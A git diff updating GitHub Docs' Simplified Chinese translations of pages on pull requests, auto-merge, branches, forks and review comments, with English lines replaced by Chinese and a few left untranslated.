-1. Click **Enable auto-merge**.
-  ![Button to enable auto-merge](/assets/images/help/pull_requests/enable-auto-merge-button.png)
-1. If you chose the merge or squash and merge methods, type a commit message and description and choose the email address you want to author the merge commit.
-  ![Fields to enter commit message and description and choose commit author email](/assets/images/help/pull_requests/pull-request-information-fields.png)
-1. Click **Confirm auto-merge**.
-  ![Button to confirm auto-merge](/assets/images/help/pull_requests/confirm-auto-merge-button.png)
+1. 在“Pull Requests（拉取请求）”列表中，单击要自动合并的拉取请求。
+1. （可选）要选择合并方法，请选择 **Enable auto-merge（启用自动合并）**下拉菜单，然后单击合并方法。 更多信息请参阅“[关于拉取请求合并](/github/collaborating-with-issues-and-pull-requests/about-pull-request-merges)”。 !["启用自动合并"下拉菜单](/assets/images/help/pull_requests/enable-auto-merge-drop-down.png)
+1. 单击 **Enable auto-merge（启用自动合并）**。 ![启用自动合并的按钮](/assets/images/help/pull_requests/enable-auto-merge-button.png)
+1. 如果选择合并或压缩并合并方法，请输入提交消息和说明，然后选择要创作合并提交的电子邮件地址。 ![输入提交消息和说明并选择提交作者电子邮件的字段](/assets/images/help/pull_requests/pull-request-information-fields.png)
+1. 单击 **Confirm auto-merge（确认自动合并）**。 ![确认自动合并的按钮](/assets/images/help/pull_requests/confirm-auto-merge-button.png)
 
-## Disabling auto-merge
+## 禁用自动合并
 
-People with write permissions to a repository and pull request authors can disable auto-merge for a pull request.
+拥有仓库写入权限的人和拉取请求作者可禁用拉取请求自动合并。
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-pr %}
-1. In the "Pull Requests" list, click the pull request you'd like to disable auto-merge for.
-1. In the merge box, click **Disable auto-merge**.
-  ![Button to disable auto-merge](/assets/images/help/pull_requests/disable-auto-merge-button.png)
+1. 在“Pull Requests（拉取请求）”列表中，单击要禁用自动合并的拉取请求。
+1. 在合并框中，单击 **Disable auto-merge（禁用自动合并）**。 ![禁用自动合并的按钮](/assets/images/help/pull_requests/disable-auto-merge-button.png)
diff --git a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/index.md b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/index.md
index cf9dabb2ea..84361abbb7 100644
--- a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/index.md
+++ b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/index.md
@@ -1,6 +1,6 @@
 ---
-title: Incorporating changes from a pull request
-intro: 'You can propose changes to your work on {% data variables.product.product_name %} through pull requests. Learn how to create, manage, and merge pull requests.'
+title: 合并拉取请求中的更改
+intro: '您可以通过拉取请求提议更改您在 {% data variables.product.product_name %} 上的工作。 了解如何创建、管理及合并拉取请求。'
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/incorporating-changes-from-a-pull-request
   - /articles/incorporating-changes-from-a-pull-request
@@ -19,5 +19,6 @@ children:
   - /adding-a-pull-request-to-the-merge-queue
   - /closing-a-pull-request
   - /reverting-a-pull-request
-shortTitle: Incorporate changes
+shortTitle: 合并更改
 ---
+
diff --git a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request.md b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request.md
index 6d51e539d4..e10726b8da 100644
--- a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request.md
+++ b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request.md
@@ -42,8 +42,6 @@ topics:
 
 ## 合并拉取请求
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.sidebar-pr %}
diff --git a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/index.md b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/index.md
index 0b40a80858..7053b305f4 100644
--- a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/index.md
+++ b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/index.md
@@ -1,6 +1,6 @@
 ---
-title: Collaborating with pull requests
-intro: 'Track and discuss changes in issues, then propose and review changes in pull requests.'
+title: 协作处理拉取请求
+intro: 跟踪和讨论议题更改，然后提出和审查拉取请求中的更改。
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests
   - /categories/63/articles
@@ -26,3 +26,4 @@ children:
   - /incorporating-changes-from-a-pull-request
 shortTitle: Collaborate with pull requests
 ---
+
diff --git a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md
index a488f3afd5..e882b1f808 100644
--- a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md
+++ b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md
@@ -1,6 +1,6 @@
 ---
-title: About pull requests
-intro: 'Pull requests let you tell others about changes you''ve pushed to a branch in a repository on {% data variables.product.product_name %}. Once a pull request is opened, you can discuss and review the potential changes with collaborators and add follow-up commits before your changes are merged into the base branch.'
+title: 关于拉取请求
+intro: '拉取请求可让您在 {% data variables.product.product_name %} 上向他人告知您已经推送到仓库中分支的更改。 在拉取请求打开后，您可以与协作者讨论并审查潜在更改，在更改合并到基本分支之前添加跟进提交。'
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests
   - /articles/using-pull-requests
@@ -15,29 +15,30 @@ versions:
 topics:
   - Pull requests
 ---
-## About pull requests
+
+## 关于拉取请求
 
 {% note %}
 
-**Note:** When working with pull requests, keep the following in mind:
-* If you're working in the [shared repository model](/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models), we recommend that you use a topic branch for your pull request. While you can send pull requests from any branch or commit, with a topic branch you can push follow-up commits if you need to update your proposed changes.
-* When pushing commits to a pull request, don't force push. Force pushing changes the repository history and can corrupt your pull request. If other collaborators branch the project before a force push, the force push may overwrite commits that collaborators based their work on.
+**注：**在处理拉取请求时，请记住：
+* 如果操作的是[共享仓库型号](/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models)，建议对拉取请求使用主题分支。 从任何分支或提交都可发送拉取请求，但如果需要更新提议的更改，则可使用主题分支推送跟进提交。
+* 在推送提交到拉取请求时，请勿强制推送。 Force pushing changes the repository history and can corrupt your pull request. If other collaborators branch the project before a force push, the force push may overwrite commits that collaborators based their work on.
 
 {% endnote %}
 
 You can create pull requests on {% data variables.product.prodname_dotcom_the_website %}, with {% data variables.product.prodname_desktop %}, in {% data variables.product.prodname_codespaces %}, on {% data variables.product.prodname_mobile %}, and when using GitHub CLI.
 
-After initializing a pull request, you'll see a review page that shows a high-level overview of the changes between your branch (the compare branch) and the repository's base branch. You can add a summary of the proposed changes, review the changes made by commits, add labels, milestones, and assignees, and @mention individual contributors or teams. For more information, see "[Creating a pull request](/articles/creating-a-pull-request)."
+在初始化拉取请求后，您会看到一个审查页面，其中简要概述您的分支（整个分支）与仓库基本分支之间的更改。 您可以添加提议的更改摘要，审查提交所做的更改，添加标签、里程碑和受理人，以及 @提及个人贡献者或团队。 更多信息请参阅“[创建拉取请求](/articles/creating-a-pull-request)”。
 
-Once you've created a pull request, you can push commits from your topic branch to add them to your existing pull request. These commits will appear in chronological order within your pull request and the changes will be visible in the "Files changed" tab.
+在创建拉取请求后，您可以从主题分支推送提交，以将它们添加到现有的拉取请求。 这些提交将以时间顺序显示在您的拉取请求中，在 "Files changed"（更改的文件）选项卡中可以看到更改。
 
-Other contributors can review your proposed changes, add review comments, contribute to the pull request discussion, and even add commits to the pull request.
+其他贡献者可以审查您提议的更改，添加审查注释，参与拉取请求讨论，甚至对拉取请求添加评论。
 
 {% ifversion fpt or ghec %}
-You can see information about the branch's current deployment status and past deployment activity on the "Conversation" tab. For more information, see "[Viewing deployment activity for a repository](/repositories/viewing-activity-and-data-for-your-repository/viewing-deployment-activity-for-your-repository)."
+您可以在“Conversation（对话）”选项卡上查看有关分支当前部署状态和以前部署活动的信息。 更多信息请参阅“[查看仓库的部署活动](/repositories/viewing-activity-and-data-for-your-repository/viewing-deployment-activity-for-your-repository)”。
 {% endif %}
 
-After you're happy with the proposed changes, you can merge the pull request. If you're working in a shared repository model, you create a pull request and you, or someone else, will merge your changes from your feature branch into the base branch you specify in your pull request. For more information, see "[Merging a pull request](/articles/merging-a-pull-request)."
+对提议的更改感到满意后，您可以合并拉取请求。 如果您在使用共享仓库模型，可以创建一个拉取请求，然后您或其他人将您的功能分支中的更改合并到您在拉取请求中指定的基础分支。 更多信息请参阅“[合并拉取请求](/articles/merging-a-pull-request)”。
 
 {% data reusables.pull_requests.required-checks-must-pass-to-merge %}
 
@@ -45,32 +46,32 @@ After you're happy with the proposed changes, you can merge the pull request. If
 
 {% tip %}
 
-**Tips:**
-- To toggle between collapsing and expanding all outdated review comments in a pull request, hold down <span class="platform-mac"><kbd>option</kbd></span><span class="platform-linux"><kbd>Alt</kbd></span><span class="platform-windows"><kbd>Alt</kbd></span> and click **Show outdated** or **Hide outdated**. For more shortcuts, see "[Keyboard shortcuts](/articles/keyboard-shortcuts)."
-- You can squash commits when merging a pull request to gain a more streamlined view of changes. For more information, see "[About pull request merges](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)."
+**提示：**
+- To toggle between collapsing and expanding all outdated review comments in a pull request, hold down <span class="platform-mac"><kbd>Option</kbd></span><span class="platform-linux"><kbd>Alt</kbd></span><span class="platform-windows"><kbd>Alt</kbd></span> and click **Show outdated** or **Hide outdated**. 有关更多快捷方式，请参阅“[键盘快捷键](/articles/keyboard-shortcuts)”。
+- 在合并拉取请求时可以压缩提交，以获取更简化的更改视图。 更多信息请参阅“[关于拉取请求合并](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)”。
 
 {% endtip %}
 
-You can visit your dashboard to quickly find links to recently updated pull requests you're working on or subscribed to. For more information, see "[About your personal dashboard](/articles/about-your-personal-dashboard)."
+您可以访问仪表板，快速找到操作或订阅的最近更新的拉取请求链接。 更多信息请参阅“[关于个人仪表板](/articles/about-your-personal-dashboard)”。
 
-## Draft pull requests
+## 草稿拉取请求
 
 {% data reusables.gated-features.draft-prs %}
 
-When you create a pull request, you can choose to create a pull request that is ready for review or a draft pull request. Draft pull requests cannot be merged, and code owners are not automatically requested to review draft pull requests. For more information about creating a draft pull request, see "[Creating a pull request](/articles/creating-a-pull-request)" and "[Creating a pull request from a fork](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork)."
+在创建拉取请求时，可以选择创建可直接审查的拉取请求，或草稿拉取请求。 草稿拉取请求不能合并，也不会自动向代码所有者申请审查草稿拉取请求。 有关创建草稿拉取请求的更多信息，请参阅“[创建拉取请求](/articles/creating-a-pull-request)”和“[从复刻创建拉取请求](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork)”。
 
-{% data reusables.pull_requests.mark-ready-review %} You can convert a pull request to a draft at any time. For more information, see "[Changing the stage of a pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request)."
+{% data reusables.pull_requests.mark-ready-review %} 您可以随时将拉取请求转换为草稿。 更多信息请参阅“[更改拉取请求的阶段](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request)”。
 
-## Differences between commits on compare and pull request pages
+## 比较页和拉取请求页上的提交之间的差异
 
-The compare and pull request pages use different methods to calculate the diff for changed files:
+比较页和拉取请求页使用不同的方法来计算已更改文件的差异：
 
-- Compare pages show the diff between the tip of the head ref and the current common ancestor (that is, the merge base) of the head and base ref.
-- Pull request pages show the diff between the tip of the head ref and the common ancestor of the head and base ref at the time when the pull request was created. Consequently, the merge base used for the comparison might be different.
+- 比较页显示头部引用的提示与头部及基础引用当前的共同上层节点（即合并基础）之间的差异。
+- 拉请求页面显示在创建拉取请求时头部引用头与头部和基础的共同上层节点之间的差异。 因此，用于比较的合并基础可能不同。
 
-## Further reading
+## 延伸阅读
 
-- "[Pull request](/articles/github-glossary/#pull-request)" in the {% data variables.product.prodname_dotcom %} glossary
+- {% data variables.product.prodname_dotcom %} 词汇中的“[拉取请求](/articles/github-glossary/#pull-request)”
 - "[About branches](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches)"
-- "[Commenting on a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request)"
-- "[Closing a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request)"
+- "[评论拉取请求](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request)"
+- "[关闭拉取请求](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request)"
diff --git a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork.md b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork.md
index 6dc332b6d9..ffe190a8e6 100644
--- a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork.md
+++ b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork.md
@@ -1,6 +1,6 @@
 ---
-title: Committing changes to a pull request branch created from a fork
-intro: You can commit changes on a pull request branch that was created from a fork of your repository with permission from the pull request creator.
+title: 将更改提交到从复刻创建的拉取请求分支
+intro: 在拉取请求创建者的许可下，您可以在从仓库复刻创建的拉取请求分支上提交更改。
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork
   - /articles/committing-changes-to-a-pull-request-branch-created-from-a-fork
@@ -13,39 +13,40 @@ versions:
   ghec: '*'
 topics:
   - Pull requests
-shortTitle: Commit to PR branch from fork
+shortTitle: 从复刻提交到 PR 分支
 ---
-You can only make commits on pull request branches that:
-- are opened in a repository that you have push access to and that were created from a fork of that repository
-- are on a user-owned fork
-- have permission granted from the pull request creator
-- don't have [branch restrictions](/github/administering-a-repository/about-protected-branches#restrict-who-can-push-to-matching-branches) that will prevent you from committing
 
-Only the user who created the pull request can give you permission to push commits to the user-owned fork. For more information, see "[Allowing changes to a pull request branch created from a fork](/pull-requests/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork)."
+在拉取请求分支上进行提交必须满足以下条件：
+- 该拉取请求分支在您拥有推送权限的仓库中打开，并且是从仓库的复刻创建的
+- 在用户拥有的复刻上
+- 拥有拉取请求创建者授予的许可
+- 没有阻止您提交的[分支限制](/github/administering-a-repository/about-protected-branches#restrict-who-can-push-to-matching-branches)
+
+只有创建拉取请求的用户才能授予您向用户拥有的复刻推送提交的权限。 更多信息请参阅“[允许更改从复刻创建的拉取请求分支](/pull-requests/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork)”。
 
 {% note %}
 
-**Note:** You can also make commits to a pull request branch from a fork of your repository through {% data variables.product.product_location %} by creating your own copy (or fork) of the fork of your repository and committing changes to the same head branch that the original pull request changes were created on. For some general guidelines, see "[Creating a pull request from a fork](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork)."
+**注：**还可以通过创建自己的仓库复刻副本（或复刻）并将更改提交到创建原始拉取请求更改的头部分支，从而通过 {% data variables.product.product_location %} 向仓库复刻的拉取请求分支进行提交。 有关一些一般准则，请参阅“[从复刻创建拉取请求](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork)”。
 
 {% endnote %}
 
-1. On {% data variables.product.product_name %}, navigate to the main page of the fork (or copy of your repository) where the pull request branch was created.
+1. 在 {% data variables.product.product_name %} 上，导航到创建拉取请求分支的复刻（或仓库副本）的主页面。
 {% data reusables.repositories.copy-clone-url %}
 {% data reusables.command_line.open_the_multi_os_terminal %}
  {% tip %}
 
- **Tip:** If you prefer to clone the fork using {% data variables.product.prodname_desktop %}, then see "[Cloning a repository to {% data variables.product.prodname_desktop %}](/articles/cloning-a-repository/#cloning-a-repository-to-github-desktop)."
+ **提示：**如果要使用 {% data variables.product.prodname_desktop %} 克隆复刻，请参阅“[将仓库克隆到 {% data variables.product.prodname_desktop %}](/articles/cloning-a-repository/#cloning-a-repository-to-github-desktop)”。
 
  {% endtip %}
-4. Change the current working directory to the location where you want to download the cloned directory.
+4. 将当前工作目录更改为要下载克隆目录的位置。
   ```shell
   $ cd open-source-projects
   ```
-5. Type `git clone`, and then paste the URL you copied in Step 3.
+5. 键入 `git clone`，然后粘贴在第 3 步中复制的 URL。
   ```shell
   $ git clone https://{% data variables.command_line.codeblock %}/<em>USERNAME</em>/<em>FORK-OF-THE-REPOSITORY</em>
   ```
-6. Press **Enter**. Your local clone will be created.
+6. 按 **Enter** 键。 将创建您的本地克隆。
   ```shell
   $ git clone https://{% data variables.command_line.codeblock %}/<em>USERNAME</em>/<em>FORK-OF-THE-REPOSITORY</em>
   > Cloning into `FORK-OF-THE-REPOSITORY`...
@@ -56,27 +57,25 @@ Only the user who created the pull request can give you permission to push commi
   ```
  {% tip %}
 
- **Tip:** The error message "fatal: destination path 'REPOSITORY-NAME' already exists and is not an empty directory" means that your current working directory already contains a repository with the same name. To resolve the error, you must clone the fork in a different directory.
+ **提示：**错误消息“致命错误：目标路径 'REPOSITORY-NAME' 已存在并且不是空目录”表示您当前的工作目录已包含同名仓库。 要解决此错误，必须将复刻克隆到另一个目录中。
 
  {% endtip %}
-7. Navigate into your new cloned repository.
+7. 导航到新的克隆仓库。
   ```shell
   $ cd <em>FORK-OF-THE-REPOSITORY</em>
   ```
-7. Switch branches to the compare branch of the pull request where the original changes were made. If you navigate to the original pull request, you'll see the compare branch at the top of the pull request.
-![compare-branch-example](/assets/images/help/pull_requests/compare-branch-example.png)
- In this example, the compare branch is `test-branch`:
+7. 将分支切换到进行原始更改的拉取请求的比较分支。 如果您导航到原始拉取请求，您将在拉取请求的顶部看到比较分支。 ![比较分支示例](/assets/images/help/pull_requests/compare-branch-example.png) 在此例中，比较分支为 `test-branch`：
   ```shell
   $ git checkout <em>test-branch</em>
   ```
 
  {% tip %}
 
- **Tip:** For more information about pull request branches, including examples, see "[Creating a Pull Request](/articles/creating-a-pull-request#changing-the-branch-range-and-destination-repository)."
+ **提示：**有关拉取请求分支的更多信息，包括示例，请参阅“[创建拉取请求](/articles/creating-a-pull-request#changing-the-branch-range-and-destination-repository)”。
 
  {% endtip %}
-8. At this point, you can do anything you want with this branch. You can push new commits to it, run some local tests, or merge other branches into the branch. Make modifications as you like.
-9. After you commit your changes to the head branch of the pull request you can push your changes up to the original pull request directly. In this example, the head branch is `test-branch`:
+8. 现在，您可以使用此分支执行任何操作。 您可以向该分支推送新提交、运行一些本地测试或将其他分支合并到其中。 根据需要进行修改。
+9. 在更改提交到拉取请求的头部分支后，您可以将更改直接推送到原始拉取请求。 在此例中，头部分支为 `test-branch`：
   ```shell
   $ git push origin <em>test-branch</em>
   > Counting objects: 32, done.
@@ -88,8 +87,8 @@ Only the user who created the pull request can give you permission to push commi
   > 12da2e9..250e946  <em>test-branch</em> -> <em>test-branch</em>
   ```
 
-Your new commits will be reflected on the original pull request on {% data variables.product.product_location %}.
+您的新提交将反映在 {% data variables.product.product_location %} 上的原始拉取请求中。
 
-## Further Reading
+## 延伸阅读
 
-- "[About forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)"
+- "[关于复刻](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)"
diff --git a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request.md b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request.md
index 56b22c0a26..47571710d4 100644
--- a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request.md
+++ b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request.md
@@ -47,8 +47,6 @@ If you want to create a new branch for your pull request and do not have write p
 
 ## 创建拉取请求
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
diff --git a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository.md b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository.md
index aeff18cc0b..40842bc264 100644
--- a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository.md
+++ b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Creating and deleting branches within your repository
-intro: 'You can create or delete branches directly on {% data variables.product.product_name %}.'
+title: 创建和删除仓库中的分支
+intro: '您可以直接在 {% data variables.product.product_name %} 上创建或删除分支。'
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository
   - /articles/deleting-branches-in-a-pull-request
@@ -13,41 +13,38 @@ versions:
   ghec: '*'
 topics:
   - Pull requests
-shortTitle: Create & delete branches
+shortTitle: 创建和删除分支
 ---
-## Creating a branch
+
+## 创建分支
 
 {% data reusables.repositories.navigate-to-repo %}
 
-1. Optionally, if you want to create your new branch from a branch other than the default branch for the repository, click {% octicon "git-branch" aria-label="The branch icon" %} **<em>NUMBER</em> branches** then choose another branch:
-    ![Branches link on overview page](/assets/images/help/branches/branches-link.png)
-1. Click the branch selector menu.
-    ![branch selector menu](/assets/images/help/branch/branch-selection-dropdown.png)
-1. Type a unique name for your new branch, then select **Create branch**.
-    ![branch creation text box](/assets/images/help/branch/branch-creation-text-box.png)
+1. （可选）如果要从仓库的默认分支以外的分支创建新分支，请单击 {% octicon "git-branch" aria-label="The branch icon" %} **<em>NUMBER</em> 分支**，然后选择另一个分支： ![概述页面上的分支链接](/assets/images/help/branches/branches-link.png)
+1. 单击分支选择器菜单。 ![分支选择器菜单](/assets/images/help/branch/branch-selection-dropdown.png)
+1. 为新分支键入唯一名称，然后选择 **Create branch（创建分支）**。 ![分支创建文本框](/assets/images/help/branch/branch-creation-text-box.png)
 
-## Deleting a branch
+## 删除分支
 
 {% data reusables.pull_requests.automatically-delete-branches %}
 
 {% note %}
 
-**Note:** If the branch you want to delete is the repository's default branch, you must choose a new default branch before deleting the branch. For more information, see "[Changing the default branch](/github/administering-a-repository/changing-the-default-branch)."
+**注意：**如果要删除的分支是仓库的默认分支，则在删除该分支之前必须选择新的默认分支。 更多信息请参阅“[更改默认分支](/github/administering-a-repository/changing-the-default-branch)”。
 
 {% endnote %}
 
-If the branch you want to delete is associated with an open pull request, you must merge or close the pull request before deleting the branch. For more information, see "[Merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)" or "[Closing a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request)."
+如果要删除的分支与打开的拉取请求关联，则在删除该分支之前必须合并或关闭拉取请求。 更多信息请参阅“[合并拉取请求](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)”和“[关闭拉取请求](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request)”。
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.navigate-to-branches %}
-1. Scroll to the branch that you want to delete, then click {% octicon "trash" aria-label="The trash icon to delete the branch" %}.
-    ![delete the branch](/assets/images/help/branches/branches-delete.png)
+1. 滚动到要删除的分支，然后单击 {% octicon "trash" aria-label="The trash icon to delete the branch" %}。 ![删除分支](/assets/images/help/branches/branches-delete.png)
 
 {% data reusables.pull_requests.retargeted-on-branch-deletion %}
-For more information, see "[About branches](/github/collaborating-with-issues-and-pull-requests/about-branches#working-with-branches)."
+更多信息请参阅“[关于分支](/github/collaborating-with-issues-and-pull-requests/about-branches#working-with-branches)”。
 
-## Further reading
+## 延伸阅读
 
 - "[About branches](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches)"
-- "[Viewing branches in your repository](/github/administering-a-repository/viewing-branches-in-your-repository)"
-- "[Deleting and restoring branches in a pull request](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request)"
+- “[查看仓库中的分支](/github/administering-a-repository/viewing-branches-in-your-repository)”
+- "[删除和恢复拉取请求中的分支](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request)"
diff --git a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/index.md b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/index.md
index 6a5e87fe5c..d9f18c560f 100644
--- a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/index.md
+++ b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/index.md
@@ -1,6 +1,6 @@
 ---
-title: Proposing changes to your work with pull requests
-intro: 'After you add changes to a topic branch or fork, you can open a pull request to ask your collaborators or the repository administrator to review your changes before merging them into the project.'
+title: 发起提案，请求改进项目
+intro: 在添加更改到主题分支或复刻后，您可以打开拉取请求，要求协作者或仓库管理员审查您的更改，然后将其合并到项目中。
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests
   - /articles/proposing-changes-to-your-work-with-pull-requests
@@ -24,5 +24,6 @@ children:
   - /requesting-a-pull-request-review
   - /changing-the-base-branch-of-a-pull-request
   - /committing-changes-to-a-pull-request-branch-created-from-a-fork
-shortTitle: Propose changes
+shortTitle: 提议更改
 ---
+
diff --git a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally.md b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally.md
index 2e99e8c9b2..4a4ac7d7bd 100644
--- a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally.md
+++ b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally.md
@@ -25,8 +25,6 @@ shortTitle: 在本地查看 PR
 
 ## 在本地修改活动的拉取请求
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.sidebar-pr %}
diff --git a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request.md b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request.md
index 81e0efb039..d222db51ef 100644
--- a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request.md
+++ b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request.md
@@ -1,5 +1,5 @@
 ---
-title: Commenting on a pull request
+title: 评论拉取请求
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request
   - /articles/adding-commit-comments
@@ -8,7 +8,7 @@ redirect_from:
   - /articles/commenting-on-a-pull-request
   - /github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request
   - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request
-intro: 'After you open a pull request in a repository, collaborators or team members can comment on the comparison of files between the two specified branches, or leave general comments on the project as a whole.'
+intro: 在仓库中打开拉取请求后，协作者或团队成员可以评论两个指定分支之间的文件比较，或者对整个项目做出总体评论。
 versions:
   fpt: '*'
   ghes: '*'
@@ -16,51 +16,51 @@ versions:
   ghec: '*'
 topics:
   - Pull requests
-shortTitle: Comment on a PR
+shortTitle: 对 PR 的评论
 ---
-## About pull request comments
 
-You can comment on a pull request's **Conversation** tab to leave general comments, questions, or props. You can also suggest changes that the author of the pull request can apply directly from your comment.
+## 关于拉取请求评论
 
-![Pull Request conversation](/assets/images/help/pull_requests/conversation.png)
